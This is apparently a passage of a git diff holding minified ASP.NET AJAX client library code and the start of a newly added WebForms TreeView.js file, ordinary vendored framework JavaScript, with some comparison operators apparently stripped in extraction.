c=a.tagName?a.tagName.toUpperCase():null;b=Sys.UI.DomElement._getCurrentStyle(a);if((a.offsetLeft||a.offsetTop)&&!(c==="BODY"&&(!g||g.position!=="absolute"))){e+=a.offsetLeft;f+=a.offsetTop}if(i!==null&&b){if(c!=="TABLE"&&c!=="TD"&&c!=="HTML"){e+=parseInt(b.borderLeftWidth)||0;f+=parseInt(b.borderTopWidth)||0}if(c==="TABLE"&&(b.position==="relative"||b.position==="absolute")){e+=parseInt(b.marginLeft)||0;f+=parseInt(b.marginTop)||0}}}b=Sys.UI.DomElement._getCurrentStyle(d);var h=b?b.position:null;if(!h||h!=="absolute")for(a=d.parentNode;a;a=a.parentNode){c=a.tagName?a.tagName.toUpperCase():null;if(c!=="BODY"&&c!=="HTML"&&(a.scrollLeft||a.scrollTop)){e-=a.scrollLeft||0;f-=a.scrollTop||0;b=Sys.UI.DomElement._getCurrentStyle(a);if(b){e+=parseInt(b.borderLeftWidth)||0;f+=parseInt(b.borderTopWidth)||0}}}return new Sys.UI.Point(e,f)};Sys.UI.DomElement.isDomElement=function(a){return Sys._isDomElement(a)};Sys.UI.DomElement.removeCssClass=function(d,c){var a=" "+d.className+" ",b=a.indexOf(" "+c+" ");if(b>=0)d.className=(a.substr(0,b)+" "+a.substring(b+c.length+1,a.length)).trim()};Sys.UI.DomElement.resolveElement=function(b,c){var a=b;if(!a)return null;if(typeof a==="string")a=Sys.UI.DomElement.getElementById(a,c);return a};Sys.UI.DomElement.raiseBubbleEvent=function(c,d){var b=c;while(b){var a=b.control;if(a&&a.onBubbleEvent&&a.raiseBubbleEvent){Sys.UI.DomElement._raiseBubbleEventFromControl(a,c,d);return}b=b.parentNode}};Sys.UI.DomElement._raiseBubbleEventFromControl=function(a,b,c){if(!a.onBubbleEvent(b,c))a._raiseBubbleEvent(b,c)};Sys.UI.DomElement.setLocation=function(b,c,d){var a=b.style;a.position="absolute";a.left=c+"px";a.top=d+"px"};Sys.UI.DomElement.toggleCssClass=function(b,a){if(Sys.UI.DomElement.containsCssClass(b,a))Sys.UI.DomElement.removeCssClass(b,a);else Sys.UI.DomElement.addCssClass(b,a)};Sys.UI.DomElement.getVisibilityMode=function(a){return a._visibilityMode===Sys.UI.VisibilityMode.hide?Sys.UI.VisibilityMode.hide:Sys.UI.VisibilityMode.collapse};Sys.UI.DomElement.setVisibilityMode=function(a,b){Sys.UI.DomElement._ensureOldDisplayMode(a);if(a._visibilityMode!==b){a._visibilityMode=b;if(Sys.UI.DomElement.getVisible(a)===false)if(a._visibilityMode===Sys.UI.VisibilityMode.hide)a.style.display=a._oldDisplayMode;else a.style.display="none";a._visibilityMode=b}};Sys.UI.DomElement.getVisible=function(b){var a=b.currentStyle||Sys.UI.DomElement._getCurrentStyle(b);if(!a)return true;return a.visibility!=="hidden"&&a.display!=="none"};Sys.UI.DomElement.setVisible=function(a,b){if(b!==Sys.UI.DomElement.getVisible(a)){Sys.UI.DomElement._ensureOldDisplayMode(a);a.style.visibility=b?"visible":"hidden";if(b||a._visibilityMode===Sys.UI.VisibilityMode.hide)a.style.display=a._oldDisplayMode;else a.style.display="none"}};Sys.UI.DomElement._ensureOldDisplayMode=function(a){if(!a._oldDisplayMode){var b=a.currentStyle||Sys.UI.DomElement._getCurrentStyle(a);a._oldDisplayMode=b?b.display:null;if(!a._oldDisplayMode||a._oldDisplayMode==="none")switch(a.tagName.toUpperCase()){case "DIV":case "P":case "ADDRESS":case "BLOCKQUOTE":case "BODY":case "COL":case "COLGROUP":case "DD":case "DL":case "DT":case "FIELDSET":case "FORM":case "H1":case "H2":case "H3":case "H4":case "H5":case "H6":case "HR":case "IFRAME":case "LEGEND":case "OL":case "PRE":case "TABLE":case "TD":case "TH":case "TR":case "UL":a._oldDisplayMode="block";break;case "LI":a._oldDisplayMode="list-item";break;default:a._oldDisplayMode="inline"}}};Sys.UI.DomElement._getWindow=function(a){var b=a.ownerDocument||a.document||a;return b.defaultView||b.parentWindow};Sys.UI.DomElement._getCurrentStyle=function(a){if(a.nodeType===3)return null;var c=Sys.UI.DomElement._getWindow(a);if(a.documentElement)a=a.documentElement;var b=c&&a!==c&&c.getComputedStyle?c.getComputedStyle(a,null):a.currentStyle||a.style;if(!b&&Sys.Browser.agent===Sys.Browser.Safari&&a.style){var g=a.style.display,f=a.style.position;a.style.position="absolute";a.style.display="block";var e=c.getComputedStyle(a,null);a.style.display=g;a.style.position=f;b={};for(var d in e)b[d]=e[d];b.display="none"}return b};Sys.IContainer=function(){};Sys.IContainer.prototype={};Sys.IContainer.registerInterface("Sys.IContainer");Sys.ApplicationLoadEventArgs=function(b,a){Sys.ApplicationLoadEventArgs.initializeBase(this);this._components=b;this._isPartialLoad=a};Sys.ApplicationLoadEventArgs.prototype={get_components:function(){return this._components},get_isPartialLoad:function(){return this._isPartialLoad}};Sys.ApplicationLoadEventArgs.registerClass("Sys.ApplicationLoadEventArgs",Sys.EventArgs);Sys._Application=function(){Sys._Application.initializeBase(this);this._disposableObjects=[];this._components={};this._createdComponents=[];this._secondPassComponents=[];this._unloadHandlerDelegate=Function.createDelegate(this,this._unloadHandler);Sys.UI.DomEvent.addHandler(window,"unload",this._unloadHandlerDelegate);this._domReady()};Sys._Application.prototype={_creatingComponents:false,_disposing:false,_deleteCount:0,get_isCreatingComponents:function(){return this._creatingComponents},get_isDisposing:function(){return this._disposing},add_init:function(a){if(this._initialized)a(this,Sys.EventArgs.Empty);else this.get_events().addHandler("init",a)},remove_init:function(a){this.get_events().removeHandler("init",a)},add_load:function(a){this.get_events().addHandler("load",a)},remove_load:function(a){this.get_events().removeHandler("load",a)},add_unload:function(a){this.get_events().addHandler("unload",a)},remove_unload:function(a){this.get_events().removeHandler("unload",a)},addComponent:function(a){this._components[a.get_id()]=a},beginCreateComponents:function(){this._creatingComponents=true},dispose:function(){if(!this._disposing){this._disposing=true;if(this._timerCookie){window.clearTimeout(this._timerCookie);delete this._timerCookie}if(this._endRequestHandler){Sys.WebForms.PageRequestManager.getInstance().remove_endRequest(this._endRequestHandler);delete this._endRequestHandler}if(this._beginRequestHandler){Sys.WebForms.PageRequestManager.getInstance().remove_beginRequest(this._beginRequestHandler);delete this._beginRequestHandler}if(window.pageUnload)window.pageUnload(this,Sys.EventArgs.Empty);var c=this.get_events().getHandler("unload");if(c)c(this,Sys.EventArgs.Empty);var b=Array.clone(this._disposableObjects);for(var a=0,f=b.length;a=0;b--){var d=i[b],f=d.dispose;if(f&&typeof f==="function")d.dispose();else{var e=d.control;if(e&&typeof e.dispose==="function")e.dispose()}var a=d._behaviors;if(a)this._disposeComponents(a);a=d._components;if(a){this._disposeComponents(a);d._components=null}}if(!j){var f=c.dispose;if(f&&typeof f==="function")c.dispose();else{var e=c.control;if(e&&typeof e.dispose==="function")e.dispose()}var a=c._behaviors;if(a)this._disposeComponents(a);a=c._components;if(a){this._disposeComponents(a);c._components=null}}}},endCreateComponents:function(){var b=this._secondPassComponents;for(var a=0,d=b.length;a1000){var c=[];for(var d=0,f=b.length;d=0;b--){var c=a[b];if(typeof c.dispose==="function")c.dispose()}},_domReady:function(){var a,g,f=this;function b(){f.initialize()}var c=function(){Sys.UI.DomEvent.removeHandler(window,"load",c);b()};Sys.UI.DomEvent.addHandler(window,"load",c);if(document.addEventListener)try{document.addEventListener("DOMContentLoaded",a=function(){document.removeEventListener("DOMContentLoaded",a,false);b()},false)}catch(h){}else if(document.attachEvent)if(window==window.top&&document.documentElement.doScroll){var e,d=document.createElement("div");a=function(){try{d.doScroll("left")}catch(c){e=window.setTimeout(a,0);return}d=null;b()};a()}else document.attachEvent("onreadystatechange",a=function(){if(document.readyState==="complete"){document.detachEvent("onreadystatechange",a);b()}})},_raiseInit:function(){var a=this.get_events().getHandler("init");if(a){this.beginCreateComponents();a(this,Sys.EventArgs.Empty);this.endCreateComponents()}},_unloadHandler:function(){this.dispose()}};Sys._Application.registerClass("Sys._Application",Sys.Component,Sys.IContainer);Sys.Application=new Sys._Application;var $find=Sys.Application.findComponent;Sys.UI.Behavior=function(b){Sys.UI.Behavior.initializeBase(this);this._element=b;var a=b._behaviors;if(!a)b._behaviors=[this];else a[a.length]=this};Sys.UI.Behavior.prototype={_name:null,get_element:function(){return this._element},get_id:function(){var a=Sys.UI.Behavior.callBaseMethod(this,"get_id");if(a)return a;if(!this._element||!this._element.id)return "";return this._element.id+"$"+this.get_name()},get_name:function(){if(this._name)return this._name;var a=Object.getTypeName(this),b=a.lastIndexOf(".");if(b!==-1)a=a.substr(b+1);if(!this.get_isInitialized())this._name=a;return a},set_name:function(a){this._name=a},initialize:function(){Sys.UI.Behavior.callBaseMethod(this,"initialize");var a=this.get_name();if(a)this._element[a]=this},dispose:function(){Sys.UI.Behavior.callBaseMethod(this,"dispose");var a=this._element;if(a){var c=this.get_name();if(c)a[c]=null;var b=a._behaviors;Array.remove(b,this);if(b.length===0)a._behaviors=null;delete this._element}}};Sys.UI.Behavior.registerClass("Sys.UI.Behavior",Sys.Component);Sys.UI.Behavior.getBehaviorByName=function(b,c){var a=b[c];return a&&Sys.UI.Behavior.isInstanceOfType(a)?a:null};Sys.UI.Behavior.getBehaviors=function(a){if(!a._behaviors)return [];return Array.clone(a._behaviors)};Sys.UI.Behavior.getBehaviorsByType=function(d,e){var a=d._behaviors,c=[];if(a)for(var b=0,f=a.length;b0&&a.charAt(0)==="#")a=a.substring(1);return a};Sys._Application.prototype.get_enableHistory=function(){return this._enableHistory};Sys._Application.prototype.set_enableHistory=function(a){this._enableHistory=a};Sys._Application.prototype.add_navigate=function(a){this.get_events().addHandler("navigate",a)};Sys._Application.prototype.remove_navigate=function(a){this.get_events().removeHandler("navigate",a)};Sys._Application.prototype.addHistoryPoint=function(c,f){this._ensureHistory();var b=this._state;for(var a in c){var d=c[a];if(d===null){if(typeof b[a]!=="undefined")delete b[a]}else b[a]=d}var e=this._serializeState(b);this._historyPointIsNew=true;this._setState(e,f);this._raiseNavigate()};Sys._Application.prototype.setServerId=function(a,b){this._clientId=a;this._uniqueId=b};Sys._Application.prototype.setServerState=function(a){this._ensureHistory();this._state.__s=a;this._updateHiddenField(a)};Sys._Application.prototype._deserializeState=function(a){var e={};a=a||"";var b=a.indexOf("&&");if(b!==-1&&b+27){var e=document.title;document.title=c;this._setState(a);document.title=e}else this._setState(a);this._raiseNavigate()}else{this._setState(a);this._raiseNavigate()}}};Sys._Application.prototype._raiseNavigate=function(){var d=this._historyPointIsNew,c=this.get_events().getHandler("navigate"),b={};for(var a in this._state)if(a!=="__s")b[a]=this._state[a];var e=new Sys.HistoryEventArgs(b);if(c)c(this,e);if(!d){var f;try{if(Sys.Browser.agent===Sys.Browser.Firefox&&window.location.hash&&(!window.frameElement||window.top.location.hash))Sys.Browser.version<3.5?window.history.go(0):(location.hash=this.get_stateString())}catch(g){}}};Sys._Application.prototype._serializeState=function(d){var b=[];for(var a in d){var e=d[a];if(a==="__s")var c=e;else b[b.length]=a+"="+encodeURIComponent(e)}return b.join("&")+(c?"&&"+c:"")};Sys._Application.prototype._setState=function(a,b){if(this._enableHistory){a=a||"";if(a!==this._currentEntry){if(window.theForm){var d=window.theForm.action,e=d.indexOf("#");window.theForm.action=(e!==-1?d.substring(0,e):d)+"#"+a}if(this._historyFrame&&this._historyPointIsNew){var f=document.createElement("div");f.appendChild(document.createTextNode(b||document.title));var g=f.innerHTML;this._ignoreIFrame=true;var c=this._historyFrame.contentWindow.document;c.open("javascript:''");c.write(""+g+"parent.Sys.Application._onIFrameLoad('+Sys.Serialization.JavaScriptSerializer.serialize(a)+");");c.close()}this._ignoreTimer=false;this._currentEntry=a;if(this._historyFrame||this._historyPointIsNew){var h=this.get_stateString();if(a!==h){window.location.hash=a;this._currentEntry=this.get_stateString();if(typeof b!=="undefined"&&b!==null)document.title=b}}this._historyPointIsNew=false}}};Sys._Application.prototype._updateHiddenField=function(b){if(this._clientId){var a=document.getElementById(this._clientId);if(a)a.value=b}};if(!window.XMLHttpRequest)window.XMLHttpRequest=function(){var b=["Msxml2.XMLHTTP.3.0","Msxml2.XMLHTTP"];for(var a=0,c=b.length;a0)this._timer=window.setTimeout(Function.createDelegate(this,this._onTimeout),d);this._xmlHttpRequest.send(c);this._started=true},getResponseHeader:function(b){var a;try{a=this._xmlHttpRequest.getResponseHeader(b)}catch(c){}if(!a)a="";return a},getAllResponseHeaders:function(){return this._xmlHttpRequest.getAllResponseHeaders()},get_responseData:function(){return this._xmlHttpRequest.responseText},get_statusCode:function(){var a=0;try{a=this._xmlHttpRequest.status}catch(b){}return a},get_statusText:function(){return this._xmlHttpRequest.statusText},get_xml:function(){var a=this._xmlHttpRequest.responseXML;if(!a||!a.documentElement){a=Sys.Net.XMLDOM(this._xmlHttpRequest.responseText);if(!a||!a.documentElement)return null}else if(navigator.userAgent.indexOf("MSIE")!==-1&&typeof a.setProperty!="undefined")a.setProperty("SelectionLanguage","XPath");if(a.documentElement.namespaceURI==="http://www.mozilla.org/newlayout/xml/parsererror.xml"&&a.documentElement.tagName==="parsererror")return null;if(a.documentElement.firstChild&&a.documentElement.firstChild.tagName==="parsererror")return null;return a},abort:function(){if(this._aborted||this._responseAvailable||this._timedOut)return;this._aborted=true;this._clearTimer();if(this._xmlHttpRequest&&!this._responseAvailable){this._xmlHttpRequest.onreadystatechange=Function.emptyMethod;this._xmlHttpRequest.abort();this._xmlHttpRequest=null;this._webRequest.completed(Sys.EventArgs.Empty)}}};Sys.Net.XMLHttpExecutor.registerClass("Sys.Net.XMLHttpExecutor",Sys.Net.WebRequestExecutor);Sys.Net._WebRequestManager=function(){this._defaultTimeout=0;this._defaultExecutorType="Sys.Net.XMLHttpExecutor"};Sys.Net._WebRequestManager.prototype={add_invokingRequest:function(a){this._get_eventHandlerList().addHandler("invokingRequest",a)},remove_invokingRequest:function(a){this._get_eventHandlerList().removeHandler("invokingRequest",a)},add_completedRequest:function(a){this._get_eventHandlerList().addHandler("completedRequest",a)},remove_completedRequest:function(a){this._get_eventHandlerList().removeHandler("completedRequest",a)},_get_eventHandlerList:function(){if(!this._events)this._events=new Sys.EventHandlerList;return this._events},get_defaultTimeout:function(){return this._defaultTimeout},set_defaultTimeout:function(a){this._defaultTimeout=a},get_defaultExecutorType:function(){return this._defaultExecutorType},set_defaultExecutorType:function(a){this._defaultExecutorType=a},executeRequest:function(webRequest){var executor=webRequest.get_executor();if(!executor){var failed=false;try{var executorType=eval(this._defaultExecutorType);executor=new executorType}catch(a){failed=true}webRequest.set_executor(executor)}if(executor.get_aborted())return;var evArgs=new Sys.Net.NetworkRequestEventArgs(webRequest),handler=this._get_eventHandlerList().getHandler("invokingRequest");if(handler)handler(this,evArgs);if(!evArgs.get_cancel())executor.executeRequest()}};Sys.Net._WebRequestManager.registerClass("Sys.Net._WebRequestManager");Sys.Net.WebRequestManager=new Sys.Net._WebRequestManager;Sys.Net.NetworkRequestEventArgs=function(a){Sys.Net.NetworkRequestEventArgs.initializeBase(this);this._webRequest=a};Sys.Net.NetworkRequestEventArgs.prototype={get_webRequest:function(){return this._webRequest}};Sys.Net.NetworkRequestEventArgs.registerClass("Sys.Net.NetworkRequestEventArgs",Sys.CancelEventArgs);Sys.Net.WebRequest=function(){this._url="";this._headers={};this._body=null;this._userContext=null;this._httpVerb=null;this._executor=null;this._invokeCalled=false;this._timeout=0};Sys.Net.WebRequest.prototype={add_completed:function(a){this._get_eventHandlerList().addHandler("completed",a)},remove_completed:function(a){this._get_eventHandlerList().removeHandler("completed",a)},completed:function(b){var a=Sys.Net.WebRequestManager._get_eventHandlerList().getHandler("completedRequest");if(a)a(this._executor,b);a=this._get_eventHandlerList().getHandler("completed");if(a)a(this._executor,b)},_get_eventHandlerList:function(){if(!this._events)this._events=new Sys.EventHandlerList;return this._events},get_url:function(){return this._url},set_url:function(a){this._url=a},get_headers:function(){return this._headers},get_httpVerb:function(){if(this._httpVerb===null){if(this._body===null)return "GET";return "POST"}return this._httpVerb},set_httpVerb:function(a){this._httpVerb=a},get_body:function(){return this._body},set_body:function(a){this._body=a},get_userContext:function(){return this._userContext},set_userContext:function(a){this._userContext=a},get_executor:function(){return this._executor},set_executor:function(a){this._executor=a;this._executor._set_webRequest(this)},get_timeout:function(){if(this._timeout===0)return Sys.Net.WebRequestManager.get_defaultTimeout();return this._timeout},set_timeout:function(a){this._timeout=a},getResolvedUrl:function(){return Sys.Net.WebRequest._resolveUrl(this._url)},invoke:function(){Sys.Net.WebRequestManager.executeRequest(this);this._invokeCalled=true}};Sys.Net.WebRequest._resolveUrl=function(b,a){if(b&&b.indexOf("://")!==-1)return b;if(!a||a.length===0){var d=document.getElementsByTagName("base")[0];if(d&&d.href&&d.href.length>0)a=d.href;else a=document.URL}var c=a.indexOf("?");if(c!==-1)a=a.substr(0,c);c=a.indexOf("#");if(c!==-1)a=a.substr(0,c);a=a.substr(0,a.lastIndexOf("/")+1);if(!b||b.length===0)return a;if(b.charAt(0)==="/"){var e=a.indexOf("://"),g=a.indexOf("/",e+3);return a.substr(0,g)+b}else{var f=a.lastIndexOf("/");return a.substr(0,f+1)+b}};Sys.Net.WebRequest._createQueryString=function(c,b,f){b=b||encodeURIComponent;var h=0,e,g,d,a=new Sys.StringBuilder;if(c)for(d in c){e=c[d];if(typeof e==="function")continue;g=Sys.Serialization.JavaScriptSerializer.serialize(e);if(h++)a.append("&");a.append(d);a.append("=");a.append(b(g))}if(f){if(h)a.append("&");a.append(f)}return a.toString()};Sys.Net.WebRequest._createUrl=function(a,b,c){if(!b&&!c)return a;var d=Sys.Net.WebRequest._createQueryString(b,null,c);return d.length?a+(a&&a.indexOf("?")>=0?"&":"?")+d:a};Sys.Net.WebRequest.registerClass("Sys.Net.WebRequest");Sys._ScriptLoaderTask=function(b,a){this._scriptElement=b;this._completedCallback=a};Sys._ScriptLoaderTask.prototype={get_scriptElement:function(){return this._scriptElement},dispose:function(){if(this._disposed)return;this._disposed=true;this._removeScriptElementHandlers();Sys._ScriptLoaderTask._clearScript(this._scriptElement);this._scriptElement=null},execute:function(){if(this._ensureReadyStateLoaded())this._executeInternal()},_executeInternal:function(){this._addScriptElementHandlers();document.getElementsByTagName("head")[0].appendChild(this._scriptElement)},_ensureReadyStateLoaded:function(){if(this._useReadyState()&&this._scriptElement.readyState!=="loaded"&&this._scriptElement.readyState!=="complete"){this._scriptDownloadDelegate=Function.createDelegate(this,this._executeInternal);$addHandler(this._scriptElement,"readystatechange",this._scriptDownloadDelegate);return false}return true},_addScriptElementHandlers:function(){if(this._scriptDownloadDelegate){$removeHandler(this._scriptElement,"readystatechange",this._scriptDownloadDelegate);this._scriptDownloadDelegate=null}this._scriptLoadDelegate=Function.createDelegate(this,this._scriptLoadHandler);if(this._useReadyState())$addHandler(this._scriptElement,"readystatechange",this._scriptLoadDelegate);else $addHandler(this._scriptElement,"load",this._scriptLoadDelegate);if(this._scriptElement.addEventListener){this._scriptErrorDelegate=Function.createDelegate(this,this._scriptErrorHandler);this._scriptElement.addEventListener("error",this._scriptErrorDelegate,false)}},_removeScriptElementHandlers:function(){if(this._scriptLoadDelegate){var a=this.get_scriptElement();if(this._scriptDownloadDelegate){$removeHandler(this._scriptElement,"readystatechange",this._scriptDownloadDelegate);this._scriptDownloadDelegate=null}if(this._useReadyState()&&this._scriptLoadDelegate)$removeHandler(a,"readystatechange",this._scriptLoadDelegate);else $removeHandler(a,"load",this._scriptLoadDelegate);if(this._scriptErrorDelegate){this._scriptElement.removeEventListener("error",this._scriptErrorDelegate,false);this._scriptErrorDelegate=null}this._scriptLoadDelegate=null}},_scriptErrorHandler:function(){if(this._disposed)return;this._completedCallback(this.get_scriptElement(),false)},_scriptLoadHandler:function(){if(this._disposed)return;var a=this.get_scriptElement();if(this._useReadyState()&&a.readyState!=="complete")return;this._completedCallback(a,true)},_useReadyState:function(){return Sys.Browser.agent===Sys.Browser.InternetExplorer&&(Sys.Browser.version<9||(document.documentMode||0)<9)}};Sys._ScriptLoaderTask.registerClass("Sys._ScriptLoaderTask",null,Sys.IDisposable);Sys._ScriptLoaderTask._clearScript=function(a){if(!Sys.Debug.isDebug&&a.parentNode)a.parentNode.removeChild(a)};Type.registerNamespace("Sys.Net");Sys.Net.WebServiceProxy=function(){};Sys.Net.WebServiceProxy.prototype={get_timeout:function(){return this._timeout||0},set_timeout:function(a){if(a<0)throw Error.argumentOutOfRange("value",a,Sys.Res.invalidTimeout);this._timeout=a},get_defaultUserContext:function(){return typeof this._userContext==="undefined"?null:this._userContext},set_defaultUserContext:function(a){this._userContext=a},get_defaultSucceededCallback:function(){return this._succeeded||null},set_defaultSucceededCallback:function(a){this._succeeded=a},get_defaultFailedCallback:function(){return this._failed||null},set_defaultFailedCallback:function(a){this._failed=a},get_enableJsonp:function(){return !!this._jsonp},set_enableJsonp:function(a){this._jsonp=a},get_path:function(){return this._path||null},set_path:function(a){this._path=a},get_jsonpCallbackParameter:function(){return this._callbackParameter||"callback"},set_jsonpCallbackParameter:function(a){this._callbackParameter=a},_invoke:function(d,e,g,f,c,b,a){c=c||this.get_defaultSucceededCallback();b=b||this.get_defaultFailedCallback();if(a===null||typeof a==="undefined")a=this.get_defaultUserContext();return Sys.Net.WebServiceProxy.invoke(d,e,g,f,c,b,a,this.get_timeout(),this.get_enableJsonp(),this.get_jsonpCallbackParameter())}};Sys.Net.WebServiceProxy.registerClass("Sys.Net.WebServiceProxy");Sys.Net.WebServiceProxy.invoke=function(q,a,m,l,j,b,g,e,w,p){var i=w!==false?Sys.Net.WebServiceProxy._xdomain.exec(q):null,c,n=i&&i.length===3&&(i[1]!==location.protocol||i[2]!==location.host);m=n||m;if(n){p=p||"callback";c="_jsonp"+Sys._jsonp++}if(!l)l={};var r=l;if(!m||!r)r={};var s,h,f=null,k,o=null,u=Sys.Net.WebRequest._createUrl(a?q+"/"+encodeURIComponent(a):q,r,n?p+"=Sys."+c:null);if(n){s=document.createElement("script");s.src=u;k=new Sys._ScriptLoaderTask(s,function(d,b){if(!b||c)t({Message:String.format(Sys.Res.webServiceFailedNoMsg,a)},-1)});function v(){if(f===null)return;f=null;h=new Sys.Net.WebServiceError(true,String.format(Sys.Res.webServiceTimedOut,a));k.dispose();delete Sys[c];if(b)b(h,g,a)}function t(d,e){if(f!==null){window.clearTimeout(f);f=null}k.dispose();delete Sys[c];c=null;if(typeof e!=="undefined"&&e!==200){if(b){h=new Sys.Net.WebServiceError(false,d.Message||String.format(Sys.Res.webServiceFailedNoMsg,a),d.StackTrace||null,d.ExceptionType||null,d);h._statusCode=e;b(h,g,a)}}else if(j)j(d,g,a)}Sys[c]=t;e=e||Sys.Net.WebRequestManager.get_defaultTimeout();if(e>0)f=window.setTimeout(v,e);k.execute();return null}var d=new Sys.Net.WebRequest;d.set_url(u);d.get_headers()["Content-Type"]="application/json; charset=utf-8";if(!m){o=Sys.Serialization.JavaScriptSerializer.serialize(l);if(o==="{}")o=""}d.set_body(o);d.add_completed(x);if(e&&e>0)d.set_timeout(e);d.invoke();function x(d){if(d.get_responseAvailable()){var f=d.get_statusCode(),c=null;try{var e=d.getResponseHeader("Content-Type");if(e.startsWith("application/json"))c=d.get_object();else if(e.startsWith("text/xml"))c=d.get_xml();else c=d.get_responseData()}catch(m){}var k=d.getResponseHeader("jsonerror"),h=k==="true";if(h){if(c)c=new Sys.Net.WebServiceError(false,c.Message,c.StackTrace,c.ExceptionType,c)}else if(e.startsWith("application/json"))c=!c||typeof c.d==="undefined"?c:c.d;if(f<200||f>=300||h){if(b){if(!c||!h)c=new Sys.Net.WebServiceError(false,String.format(Sys.Res.webServiceFailedNoMsg,a));c._statusCode=f;b(c,g,a)}}else if(j)j(c,g,a)}else{var i;if(d.get_timedOut())i=String.format(Sys.Res.webServiceTimedOut,a);else i=String.format(Sys.Res.webServiceFailedNoMsg,a);if(b)b(new Sys.Net.WebServiceError(d.get_timedOut(),i,"",""),g,a)}}return d};Sys.Net.WebServiceProxy._generateTypedConstructor=function(a){return function(b){if(b)for(var c in b)this[c]=b[c];this.__type=a}};Sys._jsonp=0;Sys.Net.WebServiceProxy._xdomain=/^\s*([a-zA-Z0-9\+\-\.]+\:)\/\/([^?#\/]+)/;Sys.Net.WebServiceError=function(d,e,c,a,b){this._timedOut=d;this._message=e;this._stackTrace=c;this._exceptionType=a;this._errorObject=b;this._statusCode=-1};Sys.Net.WebServiceError.prototype={get_timedOut:function(){return this._timedOut},get_statusCode:function(){return this._statusCode},get_message:function(){return this._message},get_stackTrace:function(){return this._stackTrace||""},get_exceptionType:function(){return this._exceptionType||""},get_errorObject:function(){return this._errorObject||null}};Sys.Net.WebServiceError.registerClass("Sys.Net.WebServiceError"); \ No newline at end of file diff --git a/templates/www/portal/Scripts/WebForms/TreeView.js b/templates/www/portal/Scripts/WebForms/TreeView.js new file mode 100644 index 0000000..d527ce0 --- /dev/null +++ b/templates/www/portal/Scripts/WebForms/TreeView.js @@ -0,0 +1,220 @@ +//CdnPath=http://ajax.aspnetcdn.com/ajax/4.5.1/1/TreeView.js +function TreeView_HoverNode(data, node) { + if (!data) { + return; + } + node.hoverClass = data.hoverClass; + WebForm_AppendToClassName(node, data.hoverClass); + if (__nonMSDOMBrowser) { + node = node.childNodes[node.childNodes.length - 1]; + } + else { + node = node.children[node.children.length - 1]; + } + node.hoverHyperLinkClass = data.hoverHyperLinkClass; + WebForm_AppendToClassName(node, data.hoverHyperLinkClass); +} +function TreeView_GetNodeText(node) { + var trNode = WebForm_GetParentByTagName(node, "TR"); + var outerNodes; + if (trNode.childNodes[trNode.childNodes.length - 1].getElementsByTagName) { + outerNodes = trNode.childNodes[trNode.childNodes.length - 1].getElementsByTagName("A"); + if (!outerNodes || outerNodes.length == 0) { + outerNodes = trNode.childNodes[trNode.childNodes.length - 1].getElementsByTagName("SPAN"); + } + } + var textNode = (outerNodes && outerNodes.length > 0) ? + outerNodes[0].childNodes[0] : + trNode.childNodes[trNode.childNodes.length - 1].childNodes[0]; + return (textNode && textNode.nodeValue) ? textNode.nodeValue : ""; +} +function TreeView_PopulateNode(data, index, node, selectNode, selectImageNode, lineType, text, path, databound, datapath, parentIsLast) { + if (!data) { + return; + } + var context = new Object(); + context.data = data; + context.node = node; + context.selectNode = selectNode; + context.selectImageNode = selectImageNode; + context.lineType = lineType; + context.index = index; + context.isChecked = "f"; + var tr = WebForm_GetParentByTagName(node, "TR"); + if (tr) { + var checkbox = tr.getElementsByTagName("INPUT"); + if (checkbox && (checkbox.length > 0)) { + for (var i = 0; i < checkbox.length; i++) { + if (checkbox[i].type.toLowerCase() == "checkbox") { + if (checkbox[i].checked) { + context.isChecked = "t"; + } + break; + } + } + } + } + var param = index + "|" + data.lastIndex + "|" + databound + context.isChecked + parentIsLast + "|" + + text.length + "|" + text + datapath.length + "|" + datapath + path; + TreeView_PopulateNodeDoCallBack(context, param); +} +function TreeView_ProcessNodeData(result, context) { + var treeNode = context.node; + if (result.length > 0) { + var ci = result.indexOf("|", 0); + context.data.lastIndex = result.substring(0, ci); + ci = result.indexOf("|", ci + 1); + var newExpandState = result.substring(context.data.lastIndex.length + 1, ci); + context.data.expandState.value += newExpandState; + var chunk = result.substr(ci + 1); + var newChildren, table; + if (__nonMSDOMBrowser) { + var newDiv = document.createElement("div"); + newDiv.innerHTML = chunk; + table = WebForm_GetParentByTagName(treeNode, "TABLE"); + newChildren = null; + if ((typeof(table.nextSibling) == "undefined") || (table.nextSibling == null)) { + table.parentNode.insertBefore(newDiv.firstChild, table.nextSibling); + newChildren = table.previousSibling; + } + else { + table = table.nextSibling; + table.parentNode.insertBefore(newDiv.firstChild, table); + newChildren = table.previousSibling; + } + newChildren = document.getElementById(treeNode.id + "Nodes"); + } + else { + table = WebForm_GetParentByTagName(treeNode, "TABLE"); + table.insertAdjacentHTML("afterEnd", chunk); + newChildren = document.all[treeNode.id + "Nodes"]; + } + if ((typeof(newChildren) != "undefined") && (newChildren != null)) { + TreeView_ToggleNode(context.data, context.index, treeNode, context.lineType, newChildren); + treeNode.href = document.getElementById ? + "javascript:TreeView_ToggleNode(" + context.data.name + "," + context.index + ",document.getElementById('" + treeNode.id + "'),'" + context.lineType + "',document.getElementById('" + newChildren.id + "'))" : + "javascript:TreeView_ToggleNode(" + context.data.name + "," + context.index + "," + treeNode.id + ",'" + context.lineType + "'," + newChildren.id + ")"; + if ((typeof(context.selectNode) != "undefined") && (context.selectNode != null) && context.selectNode.href && + (context.selectNode.href.indexOf("javascript:TreeView_PopulateNode", 0) == 0)) { + context.selectNode.href = treeNode.href; + } + if ((typeof(context.selectImageNode) != "undefined") && (context.selectImageNode != null) && context.selectNode.href && + (context.selectImageNode.href.indexOf("javascript:TreeView_PopulateNode", 0) == 0)) { + context.selectImageNode.href = treeNode.href; + } + } + context.data.populateLog.value += context.index + ","; + } + else { + var img = treeNode.childNodes ? treeNode.childNodes[0] : treeNode.children[0]; + if ((typeof(img) != "undefined") && (img != null)) { + var lineType = context.lineType; + if (lineType == "l") { + img.src = context.data.images[13]; + } + else if (lineType == "t") { + img.src = context.data.images[10]; + } + else if (lineType == "-") { + img.src = context.data.images[16]; + } + else { + img.src = context.data.images[3]; + } + var pe; + if (__nonMSDOMBrowser) { + pe = treeNode.parentNode; + pe.insertBefore(img, treeNode); + pe.removeChild(treeNode); + } + else { + pe = treeNode.parentElement; + treeNode.style.visibility="hidden"; + treeNode.style.display="none"; + pe.insertAdjacentElement("afterBegin", img); + } + } + } +} +function TreeView_SelectNode(data, node, nodeId) { + if (!data) { + return; + } + if ((typeof(data.selectedClass) != "undefined") && (data.selectedClass != null)) { + var id = data.selectedNodeID.value; + if (id.length > 0) { + var selectedNode = document.getElementById(id); + if ((typeof(selectedNode) != "undefined") && (selectedNode != null)) { + 